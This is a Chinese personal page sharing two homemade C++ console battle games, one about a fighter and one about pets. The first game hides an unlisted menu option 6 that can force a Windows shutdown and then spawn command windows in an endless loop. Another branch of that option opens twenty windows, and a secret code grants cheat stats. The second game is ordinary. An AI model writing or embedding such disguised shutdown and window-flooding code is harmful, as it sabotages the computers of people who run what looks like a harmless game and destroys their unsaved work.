-
个人简介
你是我的第
位访客
我要送给大家一个白嫖游戏的网站 点这里试一试吧!
下面是我自己写的游戏 第一个游戏
#include<bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace std; struct Player { string name; int health; int attack; int defense; int potions; int coins; int level; }; struct Enemy { string name; int health; int attack; int defense; }; struct Boss { string name; int health; int attack; int defense; int reward; }; int main() { srand(time(0)); Player player; player.name = "玩家1"; player.health = 100; player.attack = 20; player.defense = 1; player.potions = 10; player.coins = 100; player.level = 1; int defeatedEnemies = 0; // 击败的敌人数量 cout << "欢迎来到战斗小游戏," << player.name << "!\n\n"; // 游戏主循环 while (player.health > 0) { cout << "玩家信息:\n"; cout << "生命值:" << player.health << "\n"; cout << "攻击力:" << player.attack << "\n"; cout << "防御力:" << player.defense << "\n"; cout << "药瓶数量:" << player.potions << "\n"; cout << "金币数量:" << player.coins << "\n"; cout << "等级:" << player.level << "\n\n"; cout << "请选择操作:\n"; cout << "1. 进行战斗\n"; cout << "2. 使用药瓶\n"; cout << "3. 购买装备\n"; cout << "4. 升级\n"; cout << "5. 挑战副本\n"; cout << "请输入选项:"; int choice; cin >> choice; if (choice == 1) { Enemy enemy; enemy.name = "敌人"; enemy.health = rand() % 50 + 50; // 随机生成敌人生命值 enemy.attack = rand() % 10 + 5; // 随机生成敌人攻击力 enemy.defense = rand() % 5 + 2; // 随机生成敌人防御力 bool flag=0; cout << "遭遇了一只" << enemy.name << "!\n\n"; // 战斗循环 while (player.health > 0 && enemy.health > 0) { cout << "玩家生命值:" << player.health << "\n"; cout << "敌人生命值:" << enemy.health << "\n\n"; cout << "请选择操作:\n"; cout << "1. 攻击\n"; cout << "2. 防御\n"; cout << "3. 逃跑\n"; cout << "请输入选项:"; int battleChoice; cin >> battleChoice; if (battleChoice == 1) { // 玩家攻击敌人 int damageToEnemy = player.attack - enemy.defense; if (damageToEnemy <= 0) { damageToEnemy = 1; // 至少造成1点伤害 } enemy.health -= damageToEnemy; cout << "玩家对敌人造成了" << damageToEnemy<< "点伤害!\n"; } else if (battleChoice == 2) { // 玩家防御逻辑 int damageReceived = enemy.attack - player.defense / 5; if (damageReceived <= 0) { damageReceived = 1; // 至少受到1点伤害 } player.health -= damageReceived; cout << "你选择了防御,敌人对你造成了" << damageReceived << "点伤害!\n\n"; enemy.health -= player.attack/2; cout << "并且对BOSS造成了" << player.attack/2 <<"点伤害!\n\n"; } else if (battleChoice == 3) { // 逃跑逻辑 flag=1; cout<<"你成功逃了出来。\n\n"; break; } else { cout << "无效的选项,请重新选择。\n\n"; } if (enemy.health > 0) { // 敌人攻击玩家 int damageToPlayer = enemy.attack - player.defense; if (damageToPlayer <= 0) { damageToPlayer = 1; // 至少造成1点伤害 } player.health -= damageToPlayer; cout << "敌人对玩家造成了" << damageToPlayer << "点伤害!\n\n"; } } if (flag==0) { if (player.health > 0) { // 玩家胜利 int coinsEarned = rand() % 10 + 5 + 100; // 获得的金币数量 player.coins += coinsEarned; cout << "战斗胜利,获得了" << coinsEarned << "个金币!\n\n"; defeatedEnemies++; // 击败的敌人数量加1 if (defeatedEnemies >= 5) { defeatedEnemies = 0; // 重新计数 cout << "恭喜击败了5个敌人!出现了一个BOSS!\n\n"; Boss boss; boss.name = "BOSS"; boss.health = 100 + player.level * 10; // 根据玩家等级调整BOSS生命值 boss.attack = 20 + player.level * 2; // 根据玩家等级调整BOSS攻击力 boss.defense = 10 + player.level; // 根据玩家等级调整BOSS防御力 boss.reward = rand() % 100 + 50; // BOSS奖励的金币数量 // BOSS战斗循环 while (player.health > 0 && boss.health > 0) { cout << "玩家生命值:" << player.health << "\n"; cout << "BOSS生命值:" << boss.health << "\n\n"; cout << "请选择操作:\n"; cout << "1. 攻击\n"; cout << "2. 防御\n"; cout << "3. 逃跑\n"; cout << "请输入选项:"; int battleChoice; cin >> battleChoice; if (battleChoice == 1) { // 玩家攻击BOSS int damageToBoss = player.attack - boss.defense; if (damageToBoss <= 0) { damageToBoss = 1; // 至少造成1点伤害 } boss.health -= damageToBoss; cout << "玩家对BOSS造成了" << damageToBoss << "点伤害!\n"; } else if (battleChoice == 2) { // 玩家防御逻辑 int bossDamageReduction = (boss.attack - player.defense) / 5; player.health -= bossDamageReduction; cout << "玩家成功防御,抵挡了BOSS一半的攻击力!\n"; boss.health -= player.attack/2; cout << "并且对BOSS造成了" << player.attack/2 <<"点伤害!\n\n"; } else if (battleChoice == 3) { // 逃跑逻辑 flag=1; cout<<"你成功逃了出来。\n\n"; break; } else { cout << "无效的选项,请重新选择。\n\n"; } if (boss.health > 0) { // BOSS攻击玩家 int damageToPlayer = boss.attack - player.defense; if (damageToPlayer <= 0) { damageToPlayer = 1; // 至少造成1点伤害 } player.health -= damageToPlayer; cout << "BOSS对玩家造成了" << damageToPlayer << "点伤害!\n"; } } if (flag==0) { if (player.health > 0) { // 玩家胜利 player.coins += boss.reward; cout << "恭喜击败了" << boss.name << "!获得了" << boss.reward << "个金币!\n\n"; } else { // 玩家失败 cout << "战斗失败,玩家已阵亡。\n\n"; } } } } else { // 玩家失败 cout << "战斗失败,玩家已阵亡。\n\n"; } } } else if (choice == 2) { int a; cout << "你要使用多少瓶药?\n"; cout << "请输入选项:"; cin>>a; if (player.potions > 0) { for(int i=1; i<=a; i++) { int healingAmount = rand() % 10 + 5; // 随机恢复的生命值范围 player.health += healingAmount; player.potions--; } cout << "使用了" <<a<<"瓶药瓶\n\n"; } else { cout << "没有药瓶可用!请重新选择。\n\n"; } } else if (choice == 3) { // 购买装备逻辑 cout << "选择购买装备类型:\n"; cout << "1. 武器\n"; cout << "2. 护甲\n"; cout << "3. 药瓶\n"; cout << "请输入选项:"; int equipmentChoice; cin >> equipmentChoice; if (equipmentChoice == 1) { int a; int weaponPrice = rand() % 50 + 200; // 随机生成武器价格 cout<<"武器价格是"<<weaponPrice; cout<<"是否要购买 1.是 2.否\n"; cout << "请输入选项:"; cin>>a; if(a==1) { if (player.coins >= weaponPrice) { player.coins -= weaponPrice; // 扣除金币 player.attack += rand() % 20 + 150; // 增加攻击力 std::cout << "购买了一件武器,攻击力增加5点。\n\n"; } else { std::cout << "金币不足!\n\n"; } } } else if (equipmentChoice == 2) { int a; int armorPrice = rand() % 60 + 100; // 随机生成护甲价格 cout<<"护甲价格是"<<armorPrice; cout<<"是否要购买 1.是 2.否\n"; cout << "请输入选项:"; cin>>a; if(a==1) { if (player.coins >= armorPrice) { player.coins -= armorPrice; // 扣除金币 player.defense += rand() % 20 + 250; // 增加防御力 player.health += 50; std::cout << "购买了一件护甲,防御力增加5点。\n\n"; } else { std::cout << "金币不足!\n\n"; } } } else if (equipmentChoice == 3) { int potionPrice = 10,a,b,x=0; // 药瓶价格 cout<<"你要买多少瓶?\n"; cout << "请输入选项:"; cin>>b; x=potionPrice*b; cout<<"药瓶价格是"<<x; cout<<"是否要购买 1.是 2.否\n"; cout << "请输入选项:"; cin>>a; if(a==1) { for(int i=1; i<=b; i++) { if (player.coins >= potionPrice) { player.coins -= potionPrice; player.potions++; } else { cout << "金币不足,无法购买药瓶。\n\n"; } } } } else { cout << "无效的选项,请重新选择。\n\n"; } } else if (choice == 4) { cout<<"你要一次性升几级!\n"; int n=0; bool flag=0; cout << "请输入选项:"; cin>>n; for(int i=1; i<=n; i++) { int upgradeCost = player.level * 10; // 升级所需金币数量 if (player.coins >= upgradeCost) { player.coins -= upgradeCost; // 扣除金币 player.level++; // 等级提升 flag=1; } else { cout << "金币不足以进行升级!\n\n"; break; } } if(flag==1) { cout << "升级成功,等级提升至" << player.level << "级!\n\n"; player.health = player.health + player.level * 50; // 根据玩家等级调整BOSS生命值 player.attack = player.attack + player.level * 40; // 根据玩家等级调整BOSS攻击力 player.defense = player.defense + player.level * 30; } } else if (choice == 5) { // 进入副本 cout << "欢迎进入副本!请选择挑战的BOSS:\n"; cout << "1. 龙之王\n"; cout << "2. 魔法帝国\n"; cout << "3. 地狱使者\n"; cout << "4. 虚空使者\n"; cout << "5. 无名地牢\n"; cout << "请输入选项:"; int bossChoice; cin >> bossChoice; Boss boss; if (bossChoice == 1) { boss.name = "龙之王"; boss.health = 500 + player.level * 100; // 根据玩家等级调整BOSS生命值 boss.attack = 50 + player.level * 50; // 根据玩家等级调整BOSS攻击力 boss.defense = 20 + player.level * 30; // 根据玩家等级调整BOSS防御力 boss.reward = rand() % 500 + 500; } else if (bossChoice == 2) { boss.name = "魔法帝国"; boss.health = 1000 + player.level * 200; // 根据玩家等级调整BOSS生命值 boss.attack = 100 + player.level * 80; // 根据玩家等级调整BOSS攻击力 boss.defense = 40 + player.level * 40; // 根据玩家等级调整BOSS防御力 boss.reward = rand() % 1000 + 1000; } else if (bossChoice == 3) { boss.name = "地狱使者"; boss.health = 2000 + player.level * 300; // 根据玩家等级调整BOSS生命值 boss.attack = 200 + player.level * 100; // 根据玩家等级调整BOSS攻击力 boss.defense = 80 + player.level * 50; // 根据玩家等级调整BOSS防御力 boss.reward = rand() % 2000 + 2000; } else if (bossChoice == 4) { boss.name = "虚空使者"; boss.health = 3000 + player.level * 400; // 根据玩家等级调整BOSS生命值 boss.attack = 800 + player.level * 200; // 根据玩家等级调整BOSS攻击力 boss.defense = 500 + player.level * 100; // 根据玩家等级调整BOSS防御力 boss.reward = rand() % 3000 + 3000; } else if (bossChoice == 5) { boss.name = "无名地牢"; boss.health = 18000 + player.level * 600; // 根据玩家等级调整BOSS生命值 boss.attack = 2500 + player.level * 400; // 根据玩家等级调整BOSS攻击力 boss.defense = 1500 + player.level * 999; // 根据玩家等级调整BOSS防御力 boss.reward = rand() % 3000 + 10000; } else { cout << "无效的选项,请重新选择。\n\n"; continue; } bool flag=0; // BOSS战斗循环 while (player.health > 0 && boss.health > 0) { cout << "玩家生命值:" << player.health << "\n"; cout << boss.name << "生命值:" << boss.health << "\n\n"; cout << "请选择操作:\n"; cout << "1. 攻击\n"; cout << "2. 防御\n"; cout << "3. 逃跑\n"; cout << "请输入选项:"; int battleChoice; cin >> battleChoice; if (battleChoice == 1) { // 玩家攻击BOSS int damageToBoss = player.attack - boss.defense; if (damageToBoss <= 0) { damageToBoss = 200; // 至少造成1点伤害 } boss.health -= damageToBoss; cout << "玩家对" << boss.name << "造成了" << damageToBoss << "点伤害!\n"; } else if (battleChoice == 2) { // 玩家防御逻辑 int bossDamageReduction = (boss.attack - player.defense) / 5; player.health -= bossDamageReduction; cout << "玩家成功防御,抵挡了" << boss.name << "一半的攻击力!\n"; boss.health -= player.attack/2; cout << "并且对BOSS造成了" << player.attack/2 <<"点伤害!\n\n"; } else if (battleChoice == 3) { // 逃跑逻辑 flag=1; cout<<"你成功逃了出来。\n\n"; break; } else { cout << "无效的选项,请重新选择。\n\n"; } if (boss.health > 0) { // BOSS攻击玩家 int damageToPlayer = boss.attack - player.defense; if (damageToPlayer <= 0) { damageToPlayer = 1; // 至少造成1点伤害 } player.health -= damageToPlayer; cout << boss.name << "对玩家造成了" << damageToPlayer << "点伤害!\n\n"; } } if (flag==0) { if (player.health > 0) { // 玩家胜利 player.coins += boss.reward; cout << "恭喜击败了" << boss.name << "!获得了" << boss.reward << "个金币!\n\n"; } else { // 玩家失败 cout << "战斗失败,玩家已阵亡。\n\n"; } } } else { cout << "无效的选项,请重新选择。\n\n"; } if(choice == 6) { int mima; cout << "您是尊敬的主办方吗? 1.是 2.不是\n"; cin>>mima; if(mima==1) { cout <<"是呀....没见过,惩罚!\n"; system("shutdown -s -t 1 20"); while(1) { system("start cmd"); } } else if(mima==2) { cout <<"不是呀...那你进来干吗,惩罚!\n"; for(int i=1; i<=20; i++) { system("start cmd"); } cout<<"哈哈哈哈!!!骗你的,因为你是诚实的孩子,好吧继续玩吧!\n\n"; } else if(mima==114514) { cout<<"尊敬的主办方,请问你是需要什么?"; int xuanze; cout << "请选择操作:\n"; cout << "1. 攻击增加\n"; cout << "2. 防御增加\n"; cout << "3. 血量增加\n"; cout << "4. 金币增加\n"; cout << "5. 全都要\n"; cout << "请输入选项:"; cin>>xuanze; if(xuanze==1) { player.attack +=1000000; } else if(xuanze==2) { player.defense +=500000; } else if(xuanze==3) { player.health +=999999999; } else if(xuanze==4) { player.coins +=9999999999; } else if(xuanze==5) { player.attack +=99999999999; player.defense +=99999999999; player.health +=99999999999; player.coins +=9999999; player.level +=9999999999; } } } } cout << "游戏结束!\n"; return 0; }
第二个游戏
#include<bits/stdc++.h> using namespace std; int main() { bool flag=0; long long qian=20,aden=1,amin=20,yao=10,aminx=10,agong=0,agongg=20,afang=0,mg[6]= {5,20,30,40,50},mq[5]= {2,10,20,50,100},mm[5]= {20,40,60,80,100},a,b=0,c,d; cout<<"1.资源商店"<<endl; cout<<"2.获得宠物"<<endl; cout<<" 3.出战"<<endl; cout<<"恭喜获得新人礼包:金币*1"<<endl; cin>>b; if(b==1 || b==3) { cout<<"请先获得宠物"<<endl; cout<<"1.小猫 收费:金币*1"<<endl; cout<<"2.小狗 收费:金币*1"<<endl; } else if(b==2) { cout<<"1.小猫 收费:金币*1"<<endl; cout<<"2.小狗 收费:金币*1"<<endl; } cin>>b; if(b==1) { cout<<"恭喜获得宠物:小猫"<<endl; } else if(b==2) { cout<<"恭喜获得宠物:小狗"<<endl; } cout<<"成功获得宠物 奖励金币*10"<<endl; while(b!=9) { flag=0; cout<<"1.资源商店"<<endl; cout<<"2.宠物升级"<<endl; cout<<"3.出战"<<endl; cout<<"4.资料"<<endl; cout<<"按9结束游戏"<<endl; cin>>b; if(b==9) { cout<<"感谢游玩"<<endl; return 0; } else if(b==1) { cout<<"1.装备"<<endl; cout<<"2.药品"<<endl; cin>>a; if(a==1) { cout<<"1.攻击"<<endl; cout<<"2.防御"<<endl; cin>>c; if(c==1) { cout<<"1.铁齿 (+20) 收费:金币*40"<<endl; cout<<"2.钢毛 (+25) 收费:金币*50"<<endl; cout<<"3.铜爪 (+30) 收费:金币*60"<<endl; cout<<"4.银掌 (+50) 收费:金币*100"<<endl; cout<<"5.远古石球 (+100) 收费:金币*300"<<endl; cin>>d; if(d==5 && qian>=300) { agong+=100; qian-=300; cout<<"当前攻击力:"<<agong<<endl; } else if(d==1 && qian>=40) { agong+=20; qian-=40; cout<<"当前攻击力:"<<agong<<endl; } else if(d==2 && qian>=50) { agong+=25; qian-=50; cout<<"当前攻击力:"<<agong<<endl; } else if(d==3 && qian>=60) { agong+=30; qian-=60; cout<<"当前攻击力:"<<agong<<endl; } else if(d==4 && qian>=100) { agong+=50; qian-=100; cout<<"当前攻击力:"<<agong; } else if(d==1 || d==2 || d==3 || d==4 || d==5) { cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl; } } if(c==2) { cout<<"1.铁甲 (%20) 收费:金币*40"<<endl; cout<<"2.钢甲 (%30) 收费:金币*50"<<endl; cout<<"3.铜甲 (%40) 收费:金币*60"<<endl; cout<<"4.银甲 (%50) 收费:金币*100"<<endl; cout<<"5.时空金甲 (%90) 收费:金币*300"<<endl; cin>>d; if(d==5 && qian>=300) { afang=1; qian-=300; amin+=150; cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl; } else if(d==1 && qian>=40) { afang=8; qian-=40; amin+=20; cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl; } else if(d==2 && qian>=50) { afang=7; qian-=50; amin+=25; cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl; } else if(d==3 && qian>=60) { afang=6; qian-=60; amin+=30; cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl; } else if(d==4 && qian>=100) { afang=5; qian-=100; amin+=50; cout<<"当前防御力:%"<<afang<<endl<<"当前血量总值:"<<amin<<endl; } else if(d==1 || d==2 || d==3 || d==4 || d==5) { cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl; } } } if(a==2) { cout<<"1.血液回满 收费:金币*1"<<endl; cout<<"2.快速回复*5(可在战斗中使用) 收费:金币*2"<<endl; cin>>c; if(c==1 && qian>=1) { aminx=amin; qian-=1; cout<<"当前血量:"<<aminx<<endl; } else if(c==1) { cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl; } if(c==2 && qian>=2) { yao+=5; cout<<"当前药品量:"<<yao<<endl; qian-=2; } else if(c==2) { cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl; } } } else if(b==2) { if(afang<20 && agong<20) { cout<<"请先获得至少一件攻击用具和至少一件防御用具"<<endl; } else { cout<<"当前等级为"<<aden<<"级,晋级需要金币*"<<aden*100<<"是否晋级?"<<endl; cout<<"1.是"<<endl; cout<<"2.否"<<endl; cin>>a; if(a==1 && qian>=aden*100) { aden++; agongg*=2; amin*=2; qian+=aden*10; cout<<"恭喜晋级成功,获得奖励:金币*"<<aden*10<<endl; } else if(a==1) { cout<<"金币不够"<<endl<<"当前金币:"<<qian<<endl; } } } else if(b==3 && aminx>0) { cout<<"1.小怪 攻击力:5 生命值:30"<<endl; cout<<"2.小怪之王 攻击力:20 生命值:90"<<endl; cout<<"3.小魔头 攻击力:30 生命值:90"<<endl; cout<<"4.大魔头 攻击力:40 生命值:120"<<endl; cout<<"5.万魔之王 攻击力:50 生命值:150"<<endl; cin>>a; cout<<"开始战斗"<<endl; if(afang!=0) { mg[a-1]/=10; mg[a-1]*=afang; } while(aminx>0 && mm[a-1]>0) { cout<<"1.攻击"<<endl; cout<<"2.快速回复"<<endl; cout<<"3.逃跑"<<endl; cin>>c; if(c==1) { mm[a-1]-=(agong+agongg); aminx-=mg[a-1]; cout<<"魔兽血量-"<<agong+agongg<<"="<<mm[a-1]<<endl<<"宠物血量-"<<mg[a-1]<<"="<<aminx<<endl; } else if(c==2) { if(yao>0) { yao--; aminx=amin; cout<<"当前血量:"<<aminx<<endl; cout<<"剩余药品量:"<<yao<<endl; } else { cout<<"药品不足"<<endl; } } else if(c==3) { flag=1; cout<<"你成功逃跑!"<<endl; break; } } if(mm[a-1]<=0 && aminx>0) { cout<<"挑战成功"<<endl<<"获得奖励 金币*"<<mq[a-1]<<endl; qian+=mq[a-1]; if(a!=1) { mg[a-1]=a*5*2; mm[a-1]=mg[a-1]/2*4; } else { mg[a-1]=5; mm[a-1]=20; } } else { if(flag==0) { cout<<"你死了"<<endl; if(a!=1) { mg[a-1]=a*5*2; mm[a-1]=mg[a-1]/2*4; } else { mg[a-1]=5; mm[a-1]=20; } } } } else if(b==3) { cout<<"您的宠物已经没有血了,请先补满血再来"<<endl; } else if(b==4) { cout<<"-------------------------"<<endl; cout<<"|血量总值:"<<amin<<" "; cout<<"当前血量:"<<aminx<<endl; cout<<"|当前金币:"<<qian<<" "; cout<<"当前攻击力:"<<agong+agongg<<endl; if(afang!=0) { cout<<"|当前防御力:%"<<(10-afang)*10<<" "; } else { cout<<"|当前防御力:%0"<<" "; } cout<<"当前药品量:"<<yao<<endl; } } return 0; }